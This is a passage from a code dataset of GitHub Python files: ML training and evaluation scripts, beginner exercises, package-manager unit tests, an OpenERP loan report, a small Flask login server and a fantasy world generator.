sent_num):\r\n if orig_idx == new_idx:\r\n siv = ((orig_pd[orig_idx] - new_pd[new_idx]) / sent_num)\r\n else:\r\n siv = (((orig_pd[orig_idx] - new_pd[new_idx]) + (new_pd[orig_idx] - new_pd[new_idx])) / sent_num)\r\n\r\n return siv\r\n\r\n\r\ndef load_model(model_path):\r\n dependencies = {\r\n 'top1_acc': top1_acc,\r\n 'top2_acc': top2_acc,\r\n 'top3_acc': top3_acc,\r\n 'top4_acc': top4_acc,\r\n 'top5_acc': top5_acc,\r\n\r\n }\r\n return tensorflow.keras.models.load_model(model_path, custom_objects=dependencies) # h5\r\n\r\n\r\ndef get_output_weight(x, model):\r\n BATCH_SIZE = 32\r\n prediction = model.predict(x, batch_size=BATCH_SIZE, verbose=2)\r\n return prediction\r\n\r\n\r\nif __name__ == '__main__':\r\n file_name = 'Google_Chromium.json'\r\n test_generation(file_name)\r\n","repo_name":"mina11759/enemy2021","sub_path":"test_generation.py","file_name":"test_generation.py","file_ext":"py","file_size_in_byte":7942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41301938852","text":"\nfrom tqdm import tqdm\nDEVICE = 'cuda' #Cuda as using GPU\nimport torch \n\ndef train_function(data_loader, model, optimizer):\n\n model.train()\n total_loss = 0.0\n\n for images, masks in tqdm(data_loader):\n\n images = images.to(DEVICE)\n masks = masks.to(DEVICE, dtype=torch.long)\n \n # make sure gradients are 0\n optimizer.zero_grad()\n logits, loss = model(images, masks)\n \n loss.backward() #backpropagation\n\n optimizer.step() #update weights\n\n total_loss += loss.item()\n\n return total_loss / len(data_loader)\n\ndef eval_function(data_loader, model):\n\n model.eval() \n total_loss = 0.0\n\n with torch.no_grad():\n for images, masks in tqdm(data_loader):\n\n images = images.to(DEVICE)\n masks = masks.to(DEVICE, dtype=torch.long)\n\n\n logits, loss = model(images, masks)\n\n\n total_loss += loss.item()\n\n return total_loss / len(data_loader)","repo_name":"nsultana94/Dissertation","sub_path":"U-net/unet_train_functions.py","file_name":"unet_train_functions.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38001193058","text":"\"\"\"\nFunção Zip\n\nzip() -> cria um iteravel (Zip Object) que agrega elementos de cada um dos iteraveis passados como entrada em pares.\n\n#OBS:\n- Se estiver trabalhando com iteraveis de tamanhos diferentes, irá parar de agregar quando o numero de elementos\ndo menor iteravel acabar.\n- podemos utilizar com o zip() diferentes tipos de iteraveis.\n\n\"\"\"\n\n#Exemplo 1:\n\nlista1 = [1, 2, 3]\nlista2 = [4, 5, 6]\n\nres = zip(lista1, lista2)\nprint(list(res)) #[(1, 4), (2, 5), (3, 6)]\n\n#Exemplo 2:\n\nnotas1 = [10, 9, 5]\nnotas2 = [4, 9, 10]\nalunos = ['Pedro', 'Maria', 'João']\n\nfinal = {dados[0]:max(dados[1], dados[2]) for dados in zip(alunos, notas1, notas2)}\n\nprint(final)","repo_name":"JorgeRoniel/Curso-de-Python","sub_path":"seção_10/zip.py","file_name":"zip.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15353273366","text":"# Rearrange String Values - First Letter\n# There are N string values that start with the same letter, but some string values are reversed. The program must accept those N string values and print the N string values that indicate the original string values as the output.\n\n# Note:\n# - There will be no string that starts and ends with the same letter.\n# - All string values do not end with the same letter.\n# - All string values contain only lower case alphabets.\n\n# Boundary Condition(s):\n# 2 <= N <= 50\n# 2 <= Length of each string <= 100\n\n# Input Format:\n# The first line contains N.\n# The next N lines, each contains a string value.\n\n# Output Format:\n# The first N lines, each contains a string value.\n\n# Example Input/Output 1:\n# Input:\n# 5\n# rabbit\n# rose\n# tekcor\n# egnar\n# robbery\n\n# Output:\n# rabbit\n# rose\n# rocket\n# range\n# robbery\n\n# Explanation:\n# The first letter of all the 5 strings values is r.\n# So the 3rd and 4th string values are reversed.\n# tekcor -> rocket\n# egnar -> range\n\n# Example Input/Output 2:\n# Input:\n# 4\n# olleh\n# oah\n# hacked\n# dah\n\n# Output:\n# hello\n# hao\n# hacked\n# had\n\n\n\n\n\nn=range(int(input()))\narr=[]\nfor i in n:\n arr.append(input().strip())\na,b=arr[0][0],arr[0][-1]\nfor l in arr:\n if a not in l:\n supreme=b \n break\n if b not in l:\n supreme=a\ntry:\n for l in arr:\n print(l if l[0]==supreme else l[::-1])\nexcept:\n [print(i) for i in arr]","repo_name":"Logesh08/Programming-Daily-Challenges","sub_path":"Rearrange String Values - First Letter.py","file_name":"Rearrange String Values - First Letter.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10158009116","text":"import json\nimport unittest\nfrom os.path import join\n\nfrom jinja2 import Template\n\nfrom enot.packages.package import Package\nfrom enot.utils.file_utils import ensure_dir\nfrom test.abs_test_class import TestClass\n\n\nclass ApplicationsTests(TestClass):\n def __init__(self, method_name):\n super().__init__('deps_tests', method_name)\n\n @property\n def src_dir(self):\n return join(self.test_dir, 'src')\n\n @property\n def ebin_dir(self):\n return join(self.test_dir, 'ebin')\n\n # If there is a dep in package's config, but not in app - it should be added to package.apps\n def test_app_creating_new_dep(self):\n ensure_dir(self.src_dir)\n with open(join(self.src_dir, 'test.app.src'), 'w') as w:\n w.write(get_application([]))\n with open(join(self.test_dir, 'enot_config.json'), 'w') as w:\n w.write(get_package_conf([{'name': 'test_dep',\n 'url': \"http://github/comtihon/test_dep\",\n 'tag': \"test_vsn\"}]))\n package = Package.from_path(self.test_dir)\n # test_dep in package deps (from package conf)\n self.assertEqual(['test_dep'], [dep.name for dep in package.deps])\n self.assertEqual(['test_dep'], package.apps) # test_dep in applications to be inserted in app (from deps)\n self.assertEqual([], package.app_config.applications) # no applications in app.src\n\n def test_app_creating_new_app(self):\n ensure_dir(self.src_dir)\n with open(join(self.src_dir, 'test.app.src'), 'w') as w:\n w.write(get_application(['mnesia']))\n with open(join(self.test_dir, 'enot_config.json'), 'w') as w:\n w.write(get_package_conf([]))\n package = Package.from_path(self.test_dir)\n self.assertEqual([], package.deps) # no package deps\n self.assertEqual(['mnesia'], package.apps) # mnesia in applications to be inserted in app (from apps)\n self.assertEqual(['mnesia'], package.app_config.applications) # mnesia in package apps (from app.src conf)\n\n def test_app_creating_new_app_and_dep(self):\n ensure_dir(self.src_dir)\n with open(join(self.src_dir, 'test.app.src'), 'w') as w:\n w.write(get_application(['mnesia']))\n with open(join(self.test_dir, 'enot_config.json'), 'w') as w:\n w.write(get_package_conf([{'name': 'test_dep',\n 'url': \"http://github/comtihon/test_dep\",\n 'tag': \"test_vsn\"}]))\n package = Package.from_path(self.test_dir)\n # test_dep in package deps (from package conf)\n self.assertEqual(['test_dep'], [dep.name for dep in package.deps])\n self.assertEqual(['mnesia'], package.app_config.applications) # mnesia in package apps (from app.src conf)\n apps = package.apps\n self.assertEqual(2, len(apps)) # mnesia and test_dep will go to app file\n self.assertEqual(True, 'test_dep' in apps)\n self.assertEqual(True, 'mnesia' in apps)\n\n def test_app_creating_duplucates(self):\n ensure_dir(self.src_dir)\n with open(join(self.src_dir, 'test.app.src'), 'w') as w:\n w.write(get_application(['test_dep1', 'test_dep2']))\n with open(join(self.test_dir, 'enot_config.json'), 'w') as w:\n w.write(get_package_conf([{'name': 'test_dep1',\n 'url': \"http://github/comtihon/test_dep1\",\n 'tag': \"test_vsn\"},\n {'name': 'test_dep3',\n 'url': \"http://github/comtihon/test_dep3\",\n 'tag': \"test_vsn\"}]))\n package = Package.from_path(self.test_dir)\n package_deps = [dep.name for dep in package.deps]\n self.assertEqual(2, len(package_deps))\n self.assertEqual(True, 'test_dep1' in package_deps)\n self.assertEqual(True, 'test_dep3' in package_deps)\n applications = package.app_config.applications\n self.assertEqual(2, len(package_deps))\n self.assertEqual(True, 'test_dep1' in applications)\n self.assertEqual(True, 'test_dep2' in applications)\n apps = package.apps\n self.assertEqual(3, len(apps)) # test_dep1, test_dep2, test_dep3\n self.assertEqual(True, 'test_dep1' in apps)\n self.assertEqual(True, 'test_dep2' in apps)\n self.assertEqual(True, 'test_dep3' in apps)\n\n\ndef get_application(apps: list):\n app_str = '''\n {application, test,\n [\n {description, \"\"},\n {vsn, \"1.0.0\"},\n {registered, []},\n {modules, []},\n {applications, {{ apps }}},\n {mod, {test_app, []}},\n {env, []}\n ]}.\n '''\n return Template(app_str).render(apps=apps)\n\n\ndef get_package_conf(deps: list):\n conf_str = '''{\n \\\"name\\\":\\\"proper\\\",\n \\\"version\\\":\\\"1.0.0\\\",\n \\\"deps\\\": {{ deps }}\n }'''\n return Template(conf_str).render(deps=json.dumps(deps))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"comtihon/enot","sub_path":"test/test_applications.py","file_name":"test_applications.py","file_ext":"py","file_size_in_byte":5154,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"61"} +{"seq_id":"32460731926","text":"from sklearn.metrics import auc\n\nimport h5py\nimport os\nimport numpy as np\nimport numpy.ma\nimport time\nimport argparse\nimport collections as co\nimport matplotlib.pyplot as plt\nimport tensorflow.keras.backend as K\nimport tensorflow as tf\n\n# Will test how much difference between PUPPI MET and Predicted MET in ID.\n\n\ndef main(args):\n\n print(\"\\n*****************************************\\n\")\n\n # load Predicted MET (TTbar-1, SingleNeutrino-0)\n Tarray_ML = np.load(os.path.join(args.input, \"TTbar_feature_array_MLMET.npy\"))\n Tarray_ML_target = np.load(os.path.join(args.input, \"TTbar_target_array_MLMET.npy\"))\n print(\"reading\", args.input, \"TTbar_feature_array_MLMET.npy\")\n Sarray_ML = np.load(os.path.join(args.input, \"SingleNeutrino_feature_array_MLMET.npy\"))\n Sarray_ML_target = np.load(os.path.join(args.input, \"SingleNeutrino_target_array_MLMET.npy\"))\n print(\"reading\", args.input, \"SingleNeutrino_feature_array_MLMET.npy\")\n Tarray_ML = np.concatenate((Tarray_ML[:, 0:1], Tarray_ML_target[:, 0:1], 1+np.zeros((Tarray_ML.shape[0], 1))), axis=1)\n Sarray_ML = np.concatenate((Sarray_ML[:, 0:1], Sarray_ML_target[:, 0:1], np.zeros((Sarray_ML.shape[0], 1))), axis=1)\n\n print(\"finish reading ML MET files\")\n print(\"\\n*****************************************\\n\")\n\n # load PUPPI MET (TTbar-1, SingleNeutrino-0)\n Tarray_PU = np.load(os.path.join(args.input, \"TTbar_feature_array_PUMET.npy\"))\n Tarray_PU_target = np.load(os.path.join(args.input, \"TTbar_target_array_PUMET.npy\"))\n print(\"reading\", args.input, \"TTbar_feature_array_PUMET.npy\")\n Sarray_PU = np.load(os.path.join(args.input, \"SingleNeutrino_feature_array_PUMET.npy\"))\n Sarray_PU_target = np.load(os.path.join(args.input, \"SingleNeutrino_target_array_PUMET.npy\"))\n print(\"reading\", args.input, \"SingleNeutrino_feature_array_PUMET.npy\")\n Tarray_PU = np.concatenate((Tarray_PU[:, 0:1], Tarray_PU_target[:, 0:1], 1+np.zeros((Tarray_PU.shape[0], 1))), axis=1)\n Sarray_PU = np.concatenate((Sarray_PU[:, 0:1], Sarray_PU_target[:, 0:1], np.zeros((Sarray_PU.shape[0], 1))), axis=1)\n\n print(\"finish reading PUPPI MET files\")\n print(\"\\n*****************************************\\n\")\n\n # concatenate TTbar and SingleNeutrino and shuffle\n ML1 = Tarray_ML\n ML0 = Sarray_ML\n\n PU1 = Tarray_PU\n PU0 = Sarray_PU\n\n bin_number = 300.\n step = 2.\n\n ML_array = np.zeros((int(bin_number), 3))\n PU_array = np.zeros((int(bin_number), 3))\n\n ML_rate = np.zeros(int(bin_number))\n PU_rate = np.zeros(int(bin_number))\n ML_rate_SN = np.zeros(int(bin_number))\n PU_rate_SN = np.zeros(int(bin_number))\n target_rate = np.zeros(int(bin_number))\n target_rate_SN = np.zeros(int(bin_number))\n\n All1_count = ML1.shape[0]\n All0_count = ML0.shape[0]\n\n for i in range(int(bin_number)):\n # ML\n\n ML1_count = np.sum(ML1[:, 0] > i*step)\n ML0_count = np.sum(ML0[:, 0] > i*step)\n Ta1_count = np.sum(PU1[:, 1] > i*step)\n Ta0_count = np.sum(PU0[:, 1] > i*step)\n\n TP = ML1_count\n FP = ML0_count\n FN = All1_count - ML1_count\n TN = All0_count - ML0_count\n\n # save plot data. -> TPR, FPR\n ML_array[i, 0] = TP / (TP + FN + 1) # TPR\n ML_array[i, 1] = FP / (FP + TN) # FPR\n ML_array[i, 2] = step*i\n\n ML_rate[i] = ML1_count/All1_count\n ML_rate_SN[i] = ML0_count/All0_count\n target_rate[i] = Ta1_count/All1_count\n target_rate_SN[i] = Ta0_count/All0_count\n\n # PU\n\n PU1_count = np.sum(PU1[:, 0] > i*step)\n PU0_count = np.sum(PU0[:, 0] > i*step)\n\n TP = PU1_count\n FP = PU0_count\n FN = All1_count - PU1_count\n TN = All0_count - PU0_count\n\n # save plot data. -> TPR, FPR\n PU_array[i, 0] = TP / (TP + FN + 1) # TPR\n PU_array[i, 1] = FP / (FP + TN) # FPR\n PU_array[i, 2] = step*i\n\n PU_rate[i] = PU1_count/All1_count\n PU_rate_SN[i] = PU0_count/All0_count\n\n which_plot = args.plot\n\n if which_plot == \"ROC\":\n ML_AUC = auc(ML_array[:, 1], ML_array[:, 0])\n PU_AUC = auc(PU_array[:, 1], PU_array[:, 0])\n\n print(\"ML AUC : {}\".format(ML_AUC))\n print(\"PU AUC : {}\".format(PU_AUC))\n\n plt.plot(ML_array[:, 1], ML_array[:, 0], label='ML ROC, AUC = {}'.format(round(ML_AUC, 3)))\n plt.plot(PU_array[:, 1], PU_array[:, 0], '-r', label='PUPPI ROC, AUC = {}'.format(round(PU_AUC, 3)))\n plt.grid(True, axis='x', color='gray', alpha=0.5, linestyle='--')\n plt.xlabel('FPR')\n plt.xlim(0., 1.)\n plt.grid(True, axis='y', color='gray', alpha=0.5, linestyle='--')\n plt.ylabel('TPR')\n plt.title('ROC')\n plt.legend()\n plt.savefig('ROC_curve.png')\n\n elif which_plot == \"rate\":\n x_ = range(0, int(step*bin_number), int(step))\n plt.plot(x_, ML_rate, 'bo', label='ML')\n plt.plot(x_, PU_rate, 'ro', label='PUPPI')\n plt.grid(True, axis='x', color='gray', alpha=0.5, linestyle='--')\n plt.grid(True, axis='y', color='gray', alpha=0.5, linestyle='--')\n plt.xlim(0, 200)\n plt.legend()\n plt.xlabel('MET threshold (ML, PU MET) [GeV]')\n plt.ylabel('TTbar efficiency')\n plt.savefig('triggerrate_SN_nolog_200.png')\n plt.show()\n\n elif which_plot == \"rate_com\":\n x_ = range(0, int(step*bin_number), int(step))\n plt.plot(ML_rate, ML_rate_SN*31000, 'bo', label='ML')\n plt.plot(PU_rate, PU_rate_SN*31000, 'ro', label='PUPPI')\n plt.grid(True, axis='y', color='gray', alpha=0.5, linestyle='--')\n plt.grid(True, axis='x', color='gray', alpha=0.5, linestyle='--')\n plt.yscale(\"log\")\n plt.legend()\n plt.xlabel('TTbar efficiency')\n plt.ylabel('SingleNeutrino rate [kHz]')\n plt.savefig('combined_True.png')\n plt.show()\n\n\n# Configuration\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--input', action='store', type=str, required=True, help='designate input file path (= output path of training)')\n parser.add_argument('--plot', action='store', type=str, required=True, help='ROC for ROC curve, trigger for trigger rate ')\n\n args = parser.parse_args()\n main(args)\n","repo_name":"jmduarte/L1METML","sub_path":"rate_test.py","file_name":"rate_test.py","file_ext":"py","file_size_in_byte":6248,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"20917368957","text":"# Word Count on different methods\nfrom collections import Counter\ntext = ('this is sample text with several words 5 this is more sample text with some different words')\n\ncounter = Counter(text.split())\n\n\"\"\"\nword_counts = {} #create empty dictionary to store word in file\n\nfor word in text.split():\n if word in word_counts:\n word_counts[word] += 1\n else:\n word_counts[word] = 1\n\nprint(f'{\"WORD\":<10}COUNT') # create space between two words\n\"\"\"\nfor words,count in sorted(counter.items()):\n print(f'{words:<12}{count}')\n\nprint('\\nnumber of unique words:', len(counter.keys()))\n\n\n\n\"\"\"\n5 1\ndifferent 1\nis 2\nmore 1\nsample 2\nseveral 1\nsome 1\ntext 2\nthis 2\nwith 2\nwords 2\n\nnumber of unique words: 11\n\"\"\"\n\n\n\"\"\"\n\n\n# Continue advance Dictionary , Compound Data Strucutures\nelements = {\"hydrogen\": {\"number\":1, \"weight\": 1.00794, \"symbol\": \"H\"},\n \"helium\": {\"number\": 2, \"weight\": 4.002602, \"symbol\": \"He\"}\n }\n\n# Access elements in this nested disctionary\n\nhelium = elements[\"helium\"] # get the helium dictionary\nhydrogen_weight = elements[\"hydrogen\"][\"weight\"] # get hydrogen's weight\n\n# you can also add a new key to the element\n\noxygen = {\"number\": 2, \"weight\": 2.0065, \"symbol\": \"o\"}\nelements[\"oxygen\"] = oxygen # assign oxygen as a key to the element dictionary\nprint('elements = ', elements)\n\n\"\"\"\n","repo_name":"munalshah13/Python_Exercises","sub_path":"Dictionary.py","file_name":"Dictionary.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72662121793","text":"import time\nfrom openerp.report import report_sxw\nfrom openerp import pooler\nfrom openerp.osv import osv, fields\nimport pdb\n\nclass web_kit_report(report_sxw.rml_parse):\n def __init__(self, cr, uid, name, context=None):\n super(web_kit_report, self).__init__(cr, uid, name, context=context)\n self.localcontext.update({\n 'time': time,\n 'get_loan': self.get_loan,\n 'get_loan_payment': self.get_loan_payment,\n 'get_loan_payments': self.get_loan_payments,\n 'get_capital_total': self.get_capital_total,\n 'get_report_general': self.get_report_general,\n 'get_saldo_pen_total': self.get_saldo_pen_total,\n })\n \n def get_loan(self, form):\n loan_id = self.pool.get('account.loan').search(self.cr, self.uid, [('id','=',form['form']['loan_id'][0])])\n loan_payment_obj = self.pool.get('account.loan').browse(self.cr, self.uid, loan_id) \n return loan_payment_obj\n \n def get_loan_payment(self, form): \n #print form['form'] \n loan_payment_ids = self.pool.get('loan.payment').search(self.cr, self.uid, [('id','=',form['form']['periodo_id'][0])])\n loan_payment_objs = self.pool.get('loan.payment').browse(self.cr, self.uid, loan_payment_ids) \n return loan_payment_objs\n\n def get_loan_payments(self, form): \n #print form['form'] \n loan_payment_ids = self.pool.get('loan.payment').search(self.cr, self.uid, [('loan_id','=',form['form']['loan_id'][0]), ('state','in',['paid','pending'])])\n loan_payment_objs = self.pool.get('loan.payment').browse(self.cr, self.uid, loan_payment_ids) \n return loan_payment_objs\n\n def get_capital_total(self, form):\n loan_payment_ids = self.pool.get('loan.payment').search(self.cr, self.uid, [('loan_id','=',form['form']['loan_id'][0]), ('state','=','pending')])\n loan_payment_objs = self.pool.get('loan.payment').browse(self.cr, self.uid, loan_payment_ids)\n \n total = 0\n for p in loan_payment_objs:\n total += p.pago_mes\n return total\n\n def get_saldo_pen_total(self, form):\n loan_payment_ids = self.pool.get('loan.payment').search(self.cr, self.uid, [('loan_id','=',form['form']['loan_id'][0])])\n loan_payment_objs = self.pool.get('loan.payment').browse(self.cr, self.uid, loan_payment_ids)\n \n total = 0\n for p in loan_payment_objs:\n total += p.saldo_pen\n return total \n\n def get_report_general(self, form):\n res = []\n #pdb.set_trace()\n invoices_prov_ids = self.pool.get('account.invoice').search(self.cr,self.uid,[('type', '=', 'in_invoice'), ('loan_id', '!=', False)])\n invoices_account_prov_obj = self.pool.get('account.invoice').browse(self.cr, self.uid, invoices_prov_ids)\n for i in invoices_account_prov_obj:\n invoices_cli_ids = self.pool.get('account.invoice').search(self.cr,self.uid,[('type', '=', 'out_invoice'),('loan_id', '=',i['loan_id']['id']),('is_general', '=', True)])\n invoices_account_cli_obj = self.pool.get('account.invoice').browse(self.cr, self.uid, invoices_cli_ids)\n res.append({\n 'cliente':invoices_account_cli_obj[0]['partner_id']['name'],\n 'credito': invoices_account_cli_obj[0]['loan_id']['loan_id'],\n 'monto_cli': invoices_account_cli_obj[0]['amount_total'],\n 'abono_cli': invoices_account_cli_obj[0]['amount_total'] - invoices_account_cli_obj[0]['residual'],\n 'saldo_cli': invoices_account_cli_obj[0]['residual'],\n 'proveedor': i['partner_id']['name'],\n 'monto_pro': i['amount_total'],\n 'abono_pro': i['amount_total'] - i['residual'],\n 'saldo_pro': i['residual'],\n })\n return res\n\n \nreport_sxw.report_sxw('report.estadocuenta.account.loan', 'account.loan', 'addons/loan_v7/report/estado_cuenta.mako', parser=web_kit_report)\nreport_sxw.report_sxw('report.general.account.loan', 'account.loan', 'addons/loan_v7/report/general_report.mako', parser=web_kit_report)","repo_name":"cequihua/openerp-7.0","sub_path":"loan_v7/web_kit_report.py","file_name":"web_kit_report.py","file_ext":"py","file_size_in_byte":4278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21109962201","text":"from websocket import create_connection\nfrom flask import Flask, request, Response\nimport json\nimport uuid\nimport os\n\n# websocket client: https://github.com/Pithikos/websocket-client\nGameServerPath = \"ws://127.0.0.1:5001\"\nif os.environ.get('GAME_SERVER_HOST') != None:\n GameServerPath = \"ws://\" + os.environ.get('GAME_SERVER_HOST') + \":5001\"\nGameServerSecret = \"secret\"\n\napp = Flask(__name__)\n\n\n@app.route(\"/hello\")\ndef hello():\n return 'HELLO WORLD!!!'\n\n\n@app.route(\"/login\", methods=['OPTIONS'])\ndef login_preflight():\n resp = Response(\"Hello from flask\")\n resp.headers['Access-Control-Allow-Method'] = \"POST\"\n resp.headers['Access-Control-Allow-Headers'] = \"Content-Type\"\n resp.headers['Access-Control-Allow-Origin'] = \"*\"\n return resp\n\n\n@app.route(\"/login\", methods=['POST'])\ndef login():\n payload = json.loads(request.data)\n print(payload['id'], \" has login...\")\n\n token = str(uuid.uuid4())\n\n ws = create_connection(GameServerPath)\n \n setlogin = {\n \"type\": \"login\",\n \"subtype\": \"set\",\n \"direction\": \"login-server2game-server\",\n \"server-key\": GameServerSecret,\n \"incoming-user-id\": payload['id'],\n \"incoming-user-token\": token,\n }\n ws.send(json.dumps(setlogin))\n result = ws.recv()\n if result != \"close\":\n print(\"Potential Game Server Error...\")\n ws.close()\n \n response = {\n \"id\": payload['id'],\n \"token\": token\n }\n\n resp = Response(json.dumps(response))\n resp.headers['Access-Control-Allow-Origin'] = \"*\"\n return resp\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')","repo_name":"Trip1eLift/practice-webgame-server","sub_path":"login-server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11014798454","text":"import torch\nimport torch.nn as nn\n\nclass PositionWiseFeedForward(nn.Module):\n def __init__(self, in_features, inner_features, out_features, dropout=0.1):\n '''\n Position-Wise Feed Forward Network as described in the Transformer paper\n in_features: The size of the input\n inner_features: The size of the first linear layer that transforms the embeddings into a higher dimension.\n out_features: The size of the output\n dropout: Default 0.1. The dropout rate for the two dropouts after the linear layers.\n '''\n \n super(PositionWiseFeedForward, self).__init__()\n self.in_features = in_features\n self.inner_features = inner_features\n self.out_features = out_features\n \n # First linear layer goes from the in_features to inner_features dimension\n self.fc1 = nn.Linear(in_features, inner_features)\n \n # Second linear layer goes from inner_features to out_features\n self.fc2 = nn.Linear(inner_features, out_features)\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(dropout)\n \n def forward(self, embeddings):\n '''\n Forward propagate through the Feed-Forward network\n '''\n \n embeddings = self.fc1(embeddings)\n embeddings = self.dropout(embeddings)\n embeddings = self.relu(self.fc2(embeddings))\n embeddings = self.dropout(embeddings)\n return embeddings\n","repo_name":"Mascerade/scale-transformer-encoder","sub_path":"scale_transformer_encoder/position_wise_feed_forward.py","file_name":"position_wise_feed_forward.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31984895144","text":"import random\nfrom .char import *\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass Stats:\n pop: int\n dip: int\n mil: int\n prd: int\n\n def __init__(self, pop=0, dip=0, mil=0, prd=0):\n self.pop = pop\n self.dip = dip\n self.mil = mil\n self.prd = prd\n\n\n@dataclass\nclass Locale:\n localeName: str\n desc: str\n ruler: str\n stats: Stats\n\n def __init__(self, localeName, desc, ruler):\n self.localeName = localeName\n self.desc = desc\n self.ruler = ruler\n self.stats = Stats()\n\n\n@dataclass\nclass Biome:\n biomeName: str\n desc: str\n ruler: str\n stats: Stats\n locales: list[Locale]\n\n def __init__(self, biomeName, desc, ruler):\n self.biomeName = biomeName\n self.desc = desc\n self.ruler = ruler\n self.stats = Stats()\n self.locales = []\n\n\n@dataclass\nclass World:\n worldName: str\n desc: str\n ruler: str\n stats: Stats\n biomes: list[Biome]\n\n def __init__(self, worldName, desc, ruler):\n self.worldName = worldName\n self.desc = desc\n self.ruler = ruler\n self.stats = Stats()\n self.biomes = []\n\n\nplaceNames = [\n \"Ashbourne\",\n \"Bexhill\",\n \"Cheltenham\",\n \"Dorking\",\n \"Epsom\",\n \"Farnham\",\n \"Gillingham\",\n \"Harrogate\",\n \"Ilfracombe\",\n \"Jarrow\",\n \"Kendal\",\n \"Louth\",\n \"Matlock\",\n \"Newark\",\n \"Ormskirk\",\n \"Penzance\",\n \"Queenborough\",\n \"Rye\",\n \"Scarborough\",\n \"Tewkesbury\",\n]\n\n\nclass Overworld(World):\n def __init__(self):\n self.worldName = \"Earth Overworld\"\n self.desc = \"lush, green, and blue\"\n self.ruler = \"\"\n self.stats = Stats()\n\n class Coast(Biome):\n def __init__(self):\n self.biomeName = \"coast\"\n self.desc = \"the coast\"\n self.ruler = \"\"\n self.stats = Stats()\n\n class Beach(Locale):\n def __init__(self):\n self.localeName = \"beach\"\n self.desc = \"beach\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n class Marsh(Locale):\n def __init__(self):\n self.localeName = \"marsh\"\n self.desc = \"marsh\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n class Cliff(Locale):\n def __init__(self):\n self.localeName = \"cliff\"\n self.desc = \"cliff\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n class Shore(Locale):\n def __init__(self):\n self.localeName = \"shore\"\n self.desc = \"shore\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n self.locales = [Beach(), Marsh(), Cliff(), Shore()]\n\n def genName(self):\n return f\"Seaside Duchy of {random.choice(placeNames)}\"\n\n class Plains(Biome):\n def __init__(self):\n self.biomeName = \"plains\"\n self.desc = \"plains\"\n self.ruler = \"\"\n self.stats = Stats()\n\n class GrassyField(Locale):\n def __init__(self):\n self.localeName = \"grassy field\"\n self.desc = \"grassy field\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n class FarmLands(Locale):\n def __init__(self):\n self.localeName = \"farm lands\"\n self.desc = \"farm lands\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n self.locales = [GrassyField(), FarmLands()]\n\n def genName(self):\n return f\"Plains Duchy of {random.choice(placeNames)}\"\n\n class Forest(Biome):\n def __init__(self):\n self.biomeName = \"forest\"\n self.desc = \"forest\"\n self.ruler = \"\"\n self.stats = Stats()\n\n class Woods(Locale):\n def __init__(self):\n self.localeName = \"woods\"\n self.desc = \"woods\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n class DeepWoods(Locale):\n def __init__(self):\n self.localeName = \"deep woods\"\n self.desc = \"deep woods\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n self.locales = [Woods(), DeepWoods()]\n\n def genName(self):\n return f\"Forest Duchy of {random.choice(placeNames)}\"\n\n class Mountains(Biome):\n def __init__(self):\n self.biomeName = \"mountains\"\n self.desc = \"mountains\"\n self.ruler = \"\"\n self.stats = Stats()\n\n class Hills(Locale):\n def __init__(self):\n self.localeName = \"hills\"\n self.desc = \"hills\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n class Mountains(Locale):\n def __init__(self):\n self.localeName = \"mountains\"\n self.desc = \"mountains\"\n self.ruler = \"\"\n self.stats = Stats()\n\n def genName(self):\n return f\"County of {random.choice(placeNames)}\"\n\n self.locales = [Hills(), Mountains()]\n\n def genName(self):\n return f\"Mountain Duchy of {random.choice(placeNames)}\"\n\n self.biomes = [Coast(), Plains(), Forest(), Mountains()]\n\n def genName(self):\n return f\"Kingdom of {random.choice(placeNames)}\"\n\n def genRuler(self):\n return Human(\"male\", \"King\")\n\n def genDuke(self):\n return Human(\"male\", \"Duke\")\n\n def genCount(self):\n return Human(\"male\", \"Count\")\n\n def genCountyStats(self):\n return Stats(\n random.randint(1, 5),\n random.randint(1, 5),\n random.randint(1, 5),\n random.randint(1, 5),\n )\n\n def genDuchyStats(self, duchy):\n pop = 0\n dip = 0\n mil = 0\n prd = 0\n\n for county in duchy.locales:\n pop += county.stats.pop\n dip += county.stats.dip\n mil += county.stats.mil\n prd += county.stats.prd\n\n return 